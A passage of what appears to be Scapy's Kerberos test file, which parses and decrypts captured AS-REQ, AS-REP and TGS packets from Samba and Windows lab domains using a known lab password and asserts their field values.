pkt.root.sname.nameString == [b"krbtgt", b"DOMAIN.LOCAL"] assert isinstance(pkt.root.eData, KERB_ERROR_DATA) assert pkt.root.eData.dataValue.status == 0xc0000133 assert pkt.root.eData.dataValue.flags == 1 = Parse AS-REP pkt = IP(b'E\x00\x05\x95\xff\xff@\x00\xff\x11\x00\x00\x7f\x00\x00\x15\x7f\x00\x00\x15\x00X;p\x05\x81\x00\x00k\x82\x05u0\x82\x05q\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0b\xa2H0F0D\xa1\x03\x02\x01\x13\xa2=\x04;0907\xa0\x03\x02\x01\x12\xa10\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com\xa3\x13\x1b\x11SAMBA.EXAMPLE.COM\xa4\x150\x13\xa0\x03\x02\x01\x00\xa1\x0c0\n\x1b\x08LOCALDC$\xa5\x82\x03\xafa\x82\x03\xab0\x82\x03\xa7\xa0\x03\x02\x01\x05\xa1\x13\x1b\x11SAMBA.EXAMPLE.COM\xa2&0$\xa0\x03\x02\x01\x02\xa1\x1d0\x1b\x1b\x06krbtgt\x1b\x11SAMBA.EXAMPLE.COM\xa3\x82\x03a0\x82\x03]\xa0\x03\x02\x01\x12\xa1\x03\x02\x01\x01\xa2\x82\x03O\x04\x82\x03K\t\x05\xd7\x91\xdc\x14\xaa\xe2\xfb\xcc\x85\x1f*?\xbau\xbc0\x0f\x80\x8bc\x87\xe5z\x1a4i\xa3\x9bL[-\xb1\xb7\xaa\xd9-\x01\xc2\xf2\xdfs\x17<\xf3&\x99\'1\xfa\x80\xd9\x02\xae\xf5\xb3S\x14\xc2L\xc3e\xc9\x94\x03dH\xe2\xa9\xfd\x9a\xc6\xffs\x10\xf3er\xbd\xa0\xfep[~\x82+\xde0\x91%tc\xdcx\xfe\xd0\xd8\xc4\xb6u\x91\xe7\xe1C\x00y\xb8\x15\xd9\x91j\x0f\xe7\xa0\xe24m\xd94\xe5.I\xc51\x8f\x1do\t\xe9\x98\xb8\xad\xa6\x92\xf3\x15f\xc98o\x92\x0ch\x08\\\x8f\xab\xfau\xaf\x19v\xcc\xcb!v\xb5v2\xeb(h\x1c+o\xea\xc3\x0b\xcf\x81\xc8\x89\xe8i\xdd?\xd1\xaa\x0f3\xc9\xe9\xf2\xd7\x8a\x93`\x02\x9d\xb2 LV\xda\x0f&>,~\xb3\xecK\xe76v\x9a\xc3\x88\xe3\rj\\/\xd6\x9e_X\x14z\xc2w\x1d.|\xbf\x18\x01\xc8`].\xd2\xc2\x1e\xd0\x89\x8f\xd2\x18\xb9U\xaf\x98\xe9V\xe2\x19\xa1\xbb\xc45\xd9\x16\x08c\xaf$\xef\xf2\xf4S\xeco\xa1\xa1\xe5)\x99\xc9b#[\xd1:O\xbej\xb91\xb3i\xbepb\x06\xd8\x14\xc3\xdf\xbb\x18\xbf]\xf1\x82+\x18*\x85D\xecy\x0eu_\xe2\xfa\xbcd\x82A>\x88p\xa2\xc1\xf6\x9c\x89Qj\xfdM\x99\xd1\x84r\x0fp\x06$\xab\xc2\xb5\xae4\xe8\xf1\xbb}\x98\xedWX\xe2*uB\x93\x11\x1c\xc7f\x1c\xce\xc9\xff\t\x88\x94\xddN\xcf\xa68O\x0c^I\x9ew\x81\xba\xc3\xbc\xa8\x07\x8b\xd4\xdf\x7f(\xc2\x15gX\xd0oN\x00u\x1aU@\xbd\xb8\xa9)Ur\x94\xc1\xcf\xa1\xd8k\xc1F\x19\xd3rR\xaa\x93\xe2\x06D#\x12\x07M\xe3\x15\xd6\xd0\xb3\xa6\x89\x0c\xfeLO6\xe6\xf0w\x1a\x80\x0f\xffO\xf2N\xf4(\n\xdb-\x96`\xa4\xb7\xd3g\x16\xbfY\xff\xad\x95\x19\xd9\x9cS\xaa\xe3\x06W\xf3\xc2\x18it5\xda\x1c\x99\x8a\xaf\xfa"MT\xc7$#j,P\x9b\xf9\r\xbbA\xd0w\x15.\xc3PC\xc4\xe7vL/\xca0h7\x1c4z\x8bS@\x0ej\xb4q\xde\x19\xd8so\x9c\xea\x8f^w7\x1e\x92\x1c\xcc\xe2\xa60\xe8\xce}\xee\xb1\x87F!n\x80\xe4l"\xed\xc2fI \xb9\t\x14\t\x8d\xect\xa4\xb48\xe0\xfd\xf3\xe5\x8es\xd2\x08;\x9f\xb2\xb8q\x1bX\xadd\xbb\x07z\x16\tZ\xb0z1+h\x0e\xf7\x98w\x0bX\xf0W\t\xa6\x86.\x1e\x9c\xc2\x9d\xac+\xca\xdf&\xa9\xf3\xcb\xa7\xca\x1fn\xe8\x8a]h\xf6\xeb\xe9\xd4\xa0\x16\x1b\xb4\x8d\xc7\xaf\xe3\xf0.\x85\x1e\xc2\xa5\xf2DhhgQ\xe0\xb8y\xb8\xbd\x98\xf8\xa0\rW\x93/\x07>0\xf5\x92Y\x15Y\x0bD\xdb\xd6\xac#\xd8z\xbdeY\x87\xf2\x97\xfdZ\x0c\x1d\xbc\xefXONv\xc9\xfdp\xdd^\x16\x83\xc3\xeb\x9e\x96+\xe8\xed\x0c<$\x83A\xeb\xc6e\x94\x0c\x11\x19\xb4\x99\xcd\x17\xeb\xcb.\x0b}\x01i\x88\x03R\xde\x1a\xea\x03\x10\xa9Z\x8e\xf7\x87\r\xa6\x08@\xf7\x96\xc8\xa5g\xde\x8dE\xf8\xb0\xe8\xe6T\x80=\x0cm\xe0z\xa5\x03\xa2X\xed\'\x17\x001O\xee\xfb\x87\xbe\xf7\xbbS\xc1p\xaeZ\x17\x92}\xc2\x07\x01\x81\xaew\xd9\xc5\x9c\xe5k\x8d+\x13\xd2\x00Q\xd4\xe5M\x9d\x06\xc7)\xac\x06\xb2+\xd1\x83\xcb\xfe\xb9\xf9\x0bbRN\x04\xe7\xd8\xa0\xf9\xe3\xc3m\x18\xc4\x108\xfa\xa6\x82\x01:0\x82\x016\xa0\x03\x02\x01\x12\xa2\x82\x01-\x04\x82\x01)/pDi\x13\xee\x0b\x8ehN2\x01P\x19|\xda\x1a\xde\xec\xde\rt\xcbe7\x00-sG&\x8b\xfc\xa4\x92~~[,\xd5\rAj\xd6[\xbe\xeeB\xf8X\\x\xa6$Z\x83\xf6\x1bq\xc5\x8fm\\\x94\xd7l\xc5\x89#\xcb\xcd\xaf\xff\x15\x1b\x8f;7\xb0\xc8u\x19\xb1\xd0\xb0\x93\xa7z\x9cz\x14\x0b\x86q\x01\xb8<\xa7\xa4\xceb\x1f\x88\x14\xe3S0\xe3]\xa5\x9b\xa0\x0e\x97#\x87\x9a\xe0\x90a\xdfj.\x1e6x\x87GV\xc0/\xa4\xab}\xdbS\xd5\xff\xc1\x9f\xeb\xae\xcb\x04\x071\xf1x\xff\xe5M\xfc\xbct\xea^e!\xce!|\x893/\xa1\n.\xb7T\xc5Ph\t\xf1\xbak\xcd\xdb\xff+c\xab\xcfY\x8a;*/\xd8\xa5\xd0\xd7c\xc6\x02B\xed\x82\xcf\xa0\xe5\xdf@rq\x8cRG\x1a\xdey_#\x18\t\x9d\xac\xa4\xfe\xd0\xeb{\xcb(E\xb8\xac\xc9\xe3\x06\xe0\x15}\xb89\xb1L>\x060\x93\x1dtl\x1f\xa0\\s\xdb\x85\x82\xdf\xb3L\x80\xe7/\xae\x0e\x11V\xdeH:J K\xb1g\x95\n\xc2\xd2\xc2\x83k\\6\x0eg\xd0{v\'\xa4\x1c\xe2\x10-\xeb\'\xc7?F\xd8J\xe8\x90Z4V\x12\\\x9e\xc2\x05\xfc|\xb3\x01\xe5\x1b\x14\n\xaa\xff\xb9\xff\x07\x03L\x10\x1d\xc8\xa8\xed\x00A\xf3\xf2\x16\xa3\xd8":!\x04m\x10Uo\x11\xa5d5\xc1\x1es\xde=\xa6\xdd\x9b\'\x03(L(*\x92C\xca\xc8\x92\x1b\x08\x06z/\xb4=\xd8Mz\x816\x9f-\xc0\xe8\xcf\xd2A\xfeyk)WH\x11\xdf\'\xf4\xefG\xfc\xef\xd0\xb5\xec\x91\x87\xf4}b\xb2\x1e>\x1f\x9d4~h\xa0=\xfd(i0|\x03\x98k\x05#Y\xe35\x1c\x7fn\xac\xf2\x896\xa6p\x13\xc1\x94&Q\x8f\x1c\x07\x8cN\xb0\xb6=\x83R46\x04\xfa\x86\xbc\xc1UO\x03\xd8\x0e\x0c\x9f\xbd/\x02f\x90\xa8\x9e\xd3 \xb4\\\n!\xf9"\xc3\n\xe7\xe2\x92\x05t\x11\xa1\x9e<$i+U\\d1\t^\'\xb7\x12\xfd\xe5\xd7\xc4\xd4\xb2\xa9!`\xd8\x97\x8b\x9a\x0c:\xcc\x85\x90)_\x11\xefR\x00\xe5k\x12I\xe2\xf6\xf4h\xa4.\x97\xf2\xea?\x1e\xf9\xcf\xe6\xac\xc7\xdd\xd0\x8f\x0bml\xcb[\x801\xce\xae\xd28\xc0\xe9\xb1\xb0\x19\xc9r\xd2\xd4=\xdaw\xff\xc7\xbd\xe7\xf8\xa9\x8d\xc6\xda\xa9y\x9b\x98\x19\x05\xb1]\xbc\xe2\xe3\xaf\x8c8\xcd\x12\xf8\x90\xea\xd0\xe3\xc3\xba|\xe28(\x8f\x99\xba\xden\xefJ\xc4r\x9e\x17\xe8&\xd6\xe4\x83 \x92\x19d?\xa6\xcc\xbd\xff\xa5\x83@\x17\x13\xefY\xd7\xa7\x1e\xe4\r\xd2\x846\xf8~!L\xe5\xdd\xb3\xb4(\x14\x1e\x1a\xfcP\x8ezE\x1ffFJ.\x82\x1f\xd3\xc5l\x9e\x0b3u4b\x0c\x94\xd6R\xc0\xe5\x96\x83\x95\xa1\x12\xa2\x18;\x96\x9di\xca\xc8\xd9\x15\x81\n\xa9\xc3\xe8\x1eS \x93j\xeb\xa4\x81\xc60\x81\xc3\xa0\x03\x02\x01\x12\xa2\x81\xbb\x04\x81\xb8-Y=\xd3\xfc\xeb \xd8\x16\xd9\xb2O\xfc1\xc9\xd5\'zN\xd2\xb6\xf4\xc6Q7\xaa"B\xe7\xac3\x19\x86\xad\xd5@\xa6\x1f\xd8a#EN\n\xba\xc3\xd95\xe5\x93\x07,j\x97V [o\xe3\x91!d\xe6|\xa4\x94\x14\x9dj1J\x82as[\x83\x80\x99\xa3\xec\xc1\xda_\xe7\nLej\\\x9eW\x11\'7\xfeq=)\xef-\xf5K\x15\x8e\xbf\xb8]m\xb6\xc2\xce\xb4xN,\xdb\xbeaB\x86\'\x068\x05\\\xafF\x08DFpJtX\x0c\xc1\xdfw\x9b\xb1\xf8x\x93\xac\xf9\x14X;h\xe3E\xc0\xe4i\x19\xe5:\xe7\xe5\x86\xa7{\x96\t|\x9aG\xc0\x169\x08\x03A\xa6\xc4j\'-\x07\xf4\x9c\x88"\xc00\x81\xe0\xa1\x04\x02\x02\x00\x88\xa2\x81\xd7\x04\x81\xd4\xa0\x81\xd10\x81\xce\xa1\x170\x15\xa0\x03\x02\x01\x10\xa1\x0e\x04\x0cW\xb7\xdc~\x96.\'\x92\x1a\xdfh\xb9\xa2\x81\xb20\x81\xaf\xa0\x03\x02\x01\x12\xa2\x81\xa7\x04\x81\xa4\x9b\xfc\xb3\x8c\xc5\x1e\xa1q\x19"\xf0\\\xa7\xa6`\xc9:\xd6KA\xd5\xac\xa9$\x8a\x18z\x81\xce\xc9\x0f\xe0\xd5\xad\x848t\xb7\xe3\xf1\xffC\'\x16Z\xc6\xe1of5\xf2R\xb31\xbf\xfa\xaf$\xe5\x1d\xa8\xd3sf\xbb$\xc5%\x17\x0c\x98\x98\x08\x85\xd18\x91o\x8d\x83\x86P\x9e\t\xd9V\xd1\xe4\xeb\xa8\x11\xd6\xaa\xb7\x88\xde\xbe2\xbf7\xb8\xca\x1c\x90\x10GB\x06\x046\xc8\xff\n\x02$_\xce\xcfk\xc9xd\xe5\xbf!4q\x83*/B[\x8fJ\xfa\xf4\xad97\xd8\x8f,3b\xb7\xe0\x94\xca\n\x12]\xc9\xfc\x7f\xbb{2p\xa0\x8f1e6$\xa4v0t\xa0\x07\x03\x05\x00@\x81\x00\x00\xa2\x13\x1b\x11SAMBA.EXAMPLE.COM\xa3,0*\xa0\x03\x02\x01\x01\xa1#0!\x1b\x04ldap\x1b\x19localdc.samba.example.com\xa5\x11\x18\x0f20150130011709Z\xa7\x06\x02\x04T\xcaN\xf5\xa8\x0b0\t\x02\x01\x12\x02\x01\x11\x02\x01\x17') assert isinstance(pkt.root, KRB_TGS_REQ) assert pkt.root.padata[0].padataType == 0x1 assert len(pkt.root.padata[0].padataValue) == 1204 assert pkt.root.padata[0].padataType == 0x1 assert isinstance(pkt.root.padata[0].padataValue, KRB_AP_REQ) assert pkt.root.padata[1].padataType == 0x88 assert len(pkt.root.padata[1].padataValue) == 212 assert pkt.root.padata[1].padataType == 0x88 assert pkt.root.padata[1].padataValue.armoredData.encFastReq.etype == 0x12 assert pkt.root.reqBody.kdcOptions.val == '01000000100000010000000000000000' assert pkt.root.reqBody.sname.nameString == [b'ldap', b'localdc.samba.example.com'] assert pkt.root.reqBody.till.val == '20150130011709Z' = Parse TGS-REP pkt = IP(b'E\x00\x06V\xff\xff@\x00\xff\x11\x00\x00\x7f\x00\x00\x15\x7f\x00\x00\x1d\x00X;\x97\x06B\x00\x00m\x82\x0660\x82\x062\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\r\xa2\x81\xe90\x81\xe60\x81\xe3\xa1\x04\x02\x02\x00\x88\xa2\x81\xda\x04\x81\xd7\xa0\x81\xd40\x81\xd1\xa0\x81\xce0\x81\xcb\xa0\x03\x02\x01\x12\xa2\x81\xc3\x04\x81\xc0\x8cqa\xdf\xfe\x13<7\xc1:\x8d\x0bshxOC\xd6\xcb\xbdz\x1a\xf5\xaa\x9c8\xce\x9f\xed\x99\xeb\xd8A\xba\xdcj\xffF4|\xc7\xab\x84~\xb9\x8f\x04\x0e<\xf1p#\xf7kK\x86\x05+%\\:\xcb^\xc8e\xeb\x0f\x81\x92\xa0\xf3"\xcd\xbb\xf3\xb9\x91\xc8\x94\xa27\x8c\xae\xc44\xa8\xd27\xd1J`K\x93M\xe3\xefUy\xda\xc6\xb7\xe6\xc8\xed\xa79\xd4\xd5\x9a\x12f\t\x1c\xb5\xa7A\x95\xaf\xa1\xac\x1d\xde\xfb\x1c\x0ec<5\t\xabYU\xd4\xd4\r\xf4]\xec\x00t^K\xed\xca\x81\xad\xbe\x99\xdc\x10g\x9c$\xfb\x82s?\xf4\xb9\xa5\x8eW\x02\x7f\x87A\xf7\xc4;2q \xd2\xbc\x10\x13\xc9\xa0w[\r\x01Pt\x7f\x95^\\\x8e\xbe\xee+\xa3\x13\x1b\x11SAMBA.EXAMPLE.COM\xa4\x1a0\x18\xa0\x03\x02\x01\x01\xa1\x110\x0f\x1b\rAdministrator\xa5\x82\x03\xe5a\x82\x03\xe10\x82\x03\xdd\xa0\x03\x02\x01\x05\xa1\x13\x1b\x11SAMBA.EXAMPLE.COM\xa2,0*\xa0\x03\x02\x01\x01\xa1#0!\x1b\x04ldap\x1b\x19localdc.samba.example.com\xa3\x82\x03\x910\x82\x03\x8d\xa0\x03\x02\x01\x12\xa1\x03\x02\x01\x01\xa2\x82\x03\x7f\x04\x82\x03{\x97\x9c\xac\xf1\n\xe6;\xd8\xe28m\xba\xb7\xea#\x19\xd3Zf\x1c@\x00H\xf9"\xe7\xb4\xf3&3\x02X\xb5\xc0{e\xffm\xc8\xcf\xe2\xf9p\xb57~\xd8\x91?/5\x7f\xde\xc4/\xaa\x1c\x08pQ(\xff@\x8e\xb7\xf0\x91N\xbcK&0\xbdWo_W\xf8\xbe\xd6(\xd1`\xba\x8f.\x86\xc29\x88\xe5:,\x16ui\x98y\x100Q\xf6k1\xe6\xe5-e\xdc\x80\xc0@\x87i9Z\x7f\x07\xeb\xf2\x8f\xb1\xc4\x83*z\xbbq\xbfZs\xd7\xefFAZ\x84w\xa2-\xc8\xca\xa3\x84\xa2\x0bm\xce7 pIX\xa1\x05\x83\x01t\x06\xabI\xa3dp\xe3\xaa\xd0\xd6\xb0!\xfd\xbea\x9buL\x0f\x99\xbfg\x11|J?\xfdl\xcd\xb6\xae\n\xdc\x06kS\xc60\xad\xf3\xacq\x0f\xd5lbX\x8d^\xf9\x83\x80ax\x1c\x12\xaa\xe3\x07Y\x1ef\xae\xd6\xc9\xd4y\x94\xb5\x93\x83\x03m\x03U\xf3\x9a}L3Xi \xf94\xffFf}\x99\xfd\x04I\xe3\xcd\x9f\r\xb7>r\x0e\xcf\xeb$\xc8\xdcO\x95\x88\x04\x1c\xf0\xf9\t2\x92\xc4\xe3\x10\xfa\xb0\x14\xb5\xfb\xf0.\xcc\xa3\xdc\xab\x0f\xd76\x8e\xbf\xd8\x7f@U-x\xc8 \xd42\xf8\xfd\xce8\xdbl\x16\xc1\xaa\xb3\xe32\x87\xd3\xecIc-\xcf\xab7\x0b\xd9b\x9f9\x06\x88|q\xca[\xb8\n\xfb\xf7\x0bl]:\xbc\xe1\xab:K;w6\xcf\x1c\xa6\x1a\xec\xc0\xe2\xea\x89\xe6u\xe4(\xec\xec\xda!\x06\xfd\x9c\xeeZb4\xeb\xff\x06j\xbc\xfe\x90\xb6\x93\x0b:t\xf1|\xa3`\xfb\xc5\x9a\xa5\x11w\xb2}oP\xccj\x10M\xf3\x98\xbdCj\xa9\xcd\x93\x83\xf9N"\xbc!z8\xf6\xca\xe3\xbc\x04\x92\x14\x16i\xa40\xbf~\xb5\x12\xbeC\x83\x9e\xbdH\x13\xcasxFM\\\xd7\xc9\xd3B\xacM\xe7\x1c\x8ej\x12\x197\x06\xae\xbd\x1c\x84J}\xab\x8b\x05F\x8a\x13\xbe@]\r\xc2-\x9fA\x19\x94Jl\x12\xba\n\xad\x16T\x94\xb85U\xc1o\t\x04\xb2F\xa1\x17M4\xc3\xb2N\x17\x8f\xfe\x190\xc2\x11q\xc3A\xd9\xafn\xc8\xc909\xc4\x05\x03\xf3\xb2\x8e\x97\xfcL>E`\x11`\xce\xe5n\x15\x84\x84~\xdfZ\x98S\x0f[\xc3\xaa\x8e\xcf\x9cU\x93\x94\x04>\x05\x90\x1c\x00\x1a7\xb7\xe9\xc9\xc9\xb6Eq\x13\x1e\xb5\x86\xc3}&\xe7\x1b\xe5(\xce\xe3b\xd5\t\x11\x1f\x1e\xe3;O\xd9J\x85\xc5\xfa\x82\xd2\xc9\x88\xc5\xa8\t\xf5\xdb\x85vi\x1d\x97\x12j\xe8\xabL\xf0J\xd3\xbe\x1c\x7f\x1a\xb7$k\x87\x9e\xc3\x9aH\x1e\x96>\x19\x0fE\xff\xe2\xc8\xc2|W4\x12\xe4\xc7G[\xdc\x93\x17E%ur\xcem\x169\xf2I\xab\xbb\x8d\xca\x0fM0n\x19\x06\xeb<\x03\xa7fw^\xdd(V:\xc0\x14+\x08L\x17\xbe\xc9\xa6\x82\x01\x1e0\x82\x01\x1a\xa0\x03\x02\x01\x12\xa2\x82\x01\x11\x04\x82\x01\r\xeeN\xd0\x1b\xa0\xc4\xb0C\x12,\xdd\xbd\x96\xe8\xbai"j\xbc[O\xff}Z\n5%\x98\xfc{`Q\x92\xe4\x95\x1azM\x15b\x98Ah\x02\xb2V\xd5\x0f9\xb3\xd5\xcf!\xdf\x1e\x9c\xd4\xc08\xc0|\x10\xc8\xb0ol\xcd\xa6?\x19\xfa\xb9\x0b\x9d\x96\xaa_,O\xe2 @4;\x1f!\x12\x8e\xf3h\xbc\x95\xa2\xcfE\xaey\\U\xdcc\xbe\xecN\x9e\xaa\x9d\x83\x1a\x9ad\x11\x15X\xdf)L\xd8Z\xe3\xa2&\x1c\x1b\xf8\xd1\x8e\xfb~\xdd\x16^\xfa\xf9\x15\x96s\x03\xf8T\x86\x12B\xdf\xf7m@\xfa\xf5L\xdd\xb6\xa8\x9af\x90\x90\xcd\xa9\xdf\x97`\xd3\x1c)\xc5n\xe8\xc1\xe0\xb4\xc7"\x16\x91<}\n\x94\xec\x8d\xc6.d\xe1\xf5/i\x89$\x9a\xebW\x0c\xf7\xfe\xc5\x12\x10\xb8\xa5\x193\x88hR\xa0\xf7t\xa9\xc6\xc2\x15E\xbd\xd6\xf09\x1d\x12\x83o\xb35>o\xa0\x98\xda\xf2\xad-1\xd0\x94\x12Be\xe0\x04\xe0\xf7\xcf\xbbAZ\xf5\x1c\x88\xf5\xef\xb2\x9bi\xdc\xd0\x07\x8f\xca\r^\x92\x02\x15\x87\xef\xd5\x90\xb5') assert isinstance(pkt.root, KRB_TGS_REP) assert pkt.root.cname[0].nameString[0] == b'Administrator' assert isinstance(pkt.root.ticket, KRB_Ticket) assert pkt.root.ticket.sname.nameString == [b'ldap', b'localdc.samba.example.com'] assert len(pkt.root.ticket.encPart.cipher.val) == 891 assert pkt.root.encPart.etype == 0x12 + Kerberos dissection and decryption tests # For the following tests, we use an account with no preauth and request a DES-CBC-MD5 sessionkey on Windows. # (unconventional but allows us to test edge cases) = Create Key (RC4_HMAC) from scapy.libs.rfc3961 import EncryptionType, Key key = Key.string_to_key(EncryptionType.RC4_HMAC, "Password1!", None) assert key.key == b'\x7f\xac\xdcI\x8e\xd1h\x0cO\xd1D\x83\x19\xa8\xc0O' = Parse AS-REQ (no preauth) pkt = KerberosTCPHeader(b'\x00\x00\x00\xd4j\x81\xd10\x81\xce\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa3\x150\x130\x11\xa1\x04\x02\x02\x00\x80\xa2\t\x04\x070\x05\xa0\x03\x01\x01\xff\xa4\x81\xaa0\x81\xa7\xa0\x07\x03\x05\x00@\x81\x00\x00\xa1\x120\x10\xa0\x03\x02\x01\x01\xa1\t0\x07\x1b\x05User1\xa2\x0e\x1b\x0cDOMAIN.LOCAL\xa3!0\x1f\xa0\x03\x02\x01\x02\xa1\x180\x16\x1b\x06krbtgt\x1b\x0cDOMAIN.LOCAL\xa5\x11\x18\x0f20231213110146Z\xa6\x11\x18\x0f20231213110146Z\xa7\x06\x02\x048\xa6\xb8x\xa8\x080\x06\x02\x01\x03\x02\x01\x17\xa9\x1d0\x1b0\x19\xa0\x03\x02\x01\x14\xa1\x12\x04\x10WIN10 ') assert pkt.len == 212 assert pkt.root.padata[0].padataValue.includePac assert pkt.root.reqBody.etype == [0x3, 0x17] = Parse and decrypt AS-REP (no preauth, RC4) pkt = KerberosTCPHeader(b'\x00\x00\x06\x1dk\x82\x06\x190\x82\x06\x15\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0b\xa3\x0e\x1b\x0cDOMAIN.LOCAL\xa4\x120\x10\xa0\x03\x02\x01\x01\xa1\t0\x07\x1b\x05User1\xa5\x82\x04\xa0a\x82\x04\x9c0\x82\x04\x98\xa0\x03\x02\x01\x05\xa1\x0e\x1b\x0cDOMAIN.LOCAL\xa2!0\x1f\xa0\x03\x02\x01\x02\xa1\x180\x16\x1b\x06krbtgt\x1b\x0cDOMAIN.LOCAL\xa3\x82\x04\\0\x82\x04X\xa0\x03\x02\x01\x12\xa1\x03\x02\x01\x03\xa2\x82\x04J\x04\x82\x04Fm[\x1a\xa0G\xd5 \xee\x9c\x0c\t\xfb\xc3\xee\xd8Ki\xca\xaa6~\x87\x0fu\xde\xfd\x8d9\trl\x9d\xe9\xf0\x10\x0b\x85SO\xc2\xae0\xb1\xc1\x9a\x8c\xa0\xcb/\xad\x94\xaa\xe0\xb1R\'C\xd0uqw\'\xa6zF\x9d7\xf7\x08\xd8[(\xd5\x11\xc6:\xf5\r:\xde\xf9\xdd\xd9/T\xaa\xe1Q/\x9eD\x91\x01\xa8X\xf0O\xde\x88\xcb\xc4\xc7\x87\xb1pv\xd4\xb0r\xc1\x10\x80W9\xf7\xe7+\xd9M:\xf2\x8f\xdf\xa4\xc1\xa5\x95lU\xc02A\rf\x0b\xef\xc8\xc9A\'\x87\xff\x92W\xd4\xed\xb9\xd0|{\\\xbd\xf2\xfb%h\xe3\xb8\xccs\xec_\xe7\xf9\x90\xae\xb8E\xab\xf6!\xe6z@\xf1-nO\xcf X\x1eh\x86L\xba\x0ef_\xde]\xe2_\x94\xb0\x13\xccN\r/\xd3\xf2\x81\x07\x1b\x14\xfd6\x00Y~\xc0?\xaeYb\x7f\x16\x139\xe5P:\x93\xe3N3\x08iB\xc5m\xa3\xb5\x10d\xd1~\x0eb~wk{u\xec\xbe_!w{\xb7Z\\\xcf\xf5\xd9\xc3\xea\xe5\xfd\xfd\x03\x18\x07\xab\xe3\x06\x07\x9a\xa1\x9c\xc2C.\x0e\xb7c\x14\xf6\\\xd2\x82\xf2\xfc\x01>\xed\xfb6&<\x8f\xab\xe0\xfe5\x86!e{\xadr\xa3\xab\x87\xbc;p\xbdh|\x04\xf5\xffJ6\x94\xca\xacLc\xeb\x91\x14\xb94\xe7\xf4k+_V\xefh\xd4G@\x16\xc7?\x92\x94\xa3\x87\x81#\xbc\xa6>\xefh\xdd\x91\xe2\xce\x06\xba+\x96\x83\xb5n\xb2\x0c\xc3\xf9\x1f\x15\xe8\xba\x10\xf7V\x8b\xf4\xc1Rg\x86S\xfa\x89\x90\xe4\xceJ\x8d4\xc1Bh\xb5S\xa8\']8z,j-z\x0c\xc28Z\x06d\xd9\x90\x19\xf4\xc2)\xc7\x86\x9dk\x17{\x12/\t\x8a.\xc4\xe7\xdb~t\x92\xadx\xb2\x91\xb5\x96@\xf6\xa8ftuM\xdf\x17\xc4V\xa0y\xd0\xdf\x1f\x1a\xc9y>\xc0\xd1\x85\xde\xf4\xee#\xc8\x82F\xc8H\xa6h\xe8\x02H\x9bE5U`o\x98\xc0P\x9c\xd9L\xb9D\xff\xd8G\xd0k\xc0\x07\xda\xd2#\xc3"\xb7\xb8\xf2)\x9c\x164\xaa\xe4\x18-i(\xabn\xb7\xeaB5\xe4\xb7\xdc$$\x9e|\xcdA\x03\xf3\xd7n\xd3\xc1\xd7\xe6e\xb6\\\xd3)\xfah\xb7\x88\x0e\xeby \xfe\xd2!.Q\xa0\x97\xa8\xe2O\x1d\x99\x02#9\xf4\x1c\x0e\x1fN\xc9;\xd5?\x0fm=\xee\x0efj\xc1\xcb\x14\xb5\xa9}\xe2:F\xd7\x1d\x07\xfd\xaf\x96D\xfc\x007q\x11\xe1\xf6\x12\xdc%\xf7\x92ML\xbfH$\x10\x8a\xb9\xfbp\x9b\xff\x07\\N\x83\xf5\x11\xaex\xf2\x171F\xe3\xfc\xf6\x89\xc3\xdf]\xaa:\x8f\x99\'\x16` P\xe6X\x04\xe9@\x89\x90\x8cP\xc5b\xf82\t+\x14+\xb7\xa3\xfa\xba\xa4*r\xb41i\x070!\xba\xc8\xb17\x06\x12\xf2\xce\xa0\t9P\xd9]\xe4p1i\xf3\xed\xc0oT\'\x99\xc0\x7f\xa8s\x0bW\xc7S\x90w\xe6\xa7\x91\xe1\x84\xd3V5$\x92\xa3\x81\x90\x02\xdfVu\xd7\xb7x\x13+p\x8djP\xfa\x0eL\xc5}=\x12t\xc3\xa6\xa5\x12\xd9H+w\xea\t\x92km\xf9$\x0c\xa0Y\xda\xea\x15\xd0\xa1\xbe\x85\xa3\xd3\x9fQ\x1a\xd8A\xabf\x9d\x9c \x19\xa5\x8e\t\xb4c\xac\xe3\x99\x00\xf4i\xc4\x14c\xd7h\xd3\xc6x\x11\xa5\xa0`\xe5\x8d"\xae\xa3\xa7\xba\xb8\xc4~\x87\xad\x1d\xa6\x19\xe3v\xdd^(-w7d\xd1\xb0D<\xeaW\x84\x90=\x9e\xee\xa3\xe3u\xa7\x074\xf3:6{\xbd-\x87\xfee\xd6b\x8a\xe5\xa9v\x0c\xe8N\x1c\x10\x12\x91\x1e~\x92\x02Uh)\xdd\xb5f\xf9\xcc\xadf\xf3:\xa7\x9f\xfd\xe1>\xd19\x10U1\xf0\xf8\xb1G\xe8H\xcb!h\xab\x14q\xe51d\xb2A\xf07\xda\x11\x81\xd9\xff') assert pkt.root.cname.nameString[0].val == b'User1' asrep = pkt.root.encPart.decrypt(key) sessionkey = asrep.key.toKey() assert asrep.encryptedPaData[0].padataValue.flags == 0x5001f = Parse and decrypt TGS-REQ (DES-CBC-MD5) pkt = KerberosTCPHeader(b'\x00\x00\x05\xd1l\x82\x05\xcd0\x82\x05\xc9\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\x0c\xa3\x82\x05=0\x82\x0590\x82\x055\xa1\x03\x02\x01\x01\xa2\x82\x05,\x04\x82\x05(n\x82\x05$0\x82\x05 \xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0e\xa2\x03\x03\x01\x00\xa3\x82\x04\xa0a\x82\x04\x9c0\x82\x04\x98\xa0\x03\x02\x01\x05\xa1\x0e\x1b\x0cDOMAIN.LOCAL\xa2!0\x1f\xa0\x03\x02\x01\x02\xa1\x180\x16\x1b\x06krbtgt\x1b\x0cDOMAIN.LOCAL\xa3\x82\x04\\0\x82\x04X\xa0\x03\x02\x01\x12\xa1\x03\x02\x01\x03\xa2\x82\x04J\x04\x82\x04Fm[\x1a\xa0G\xd5 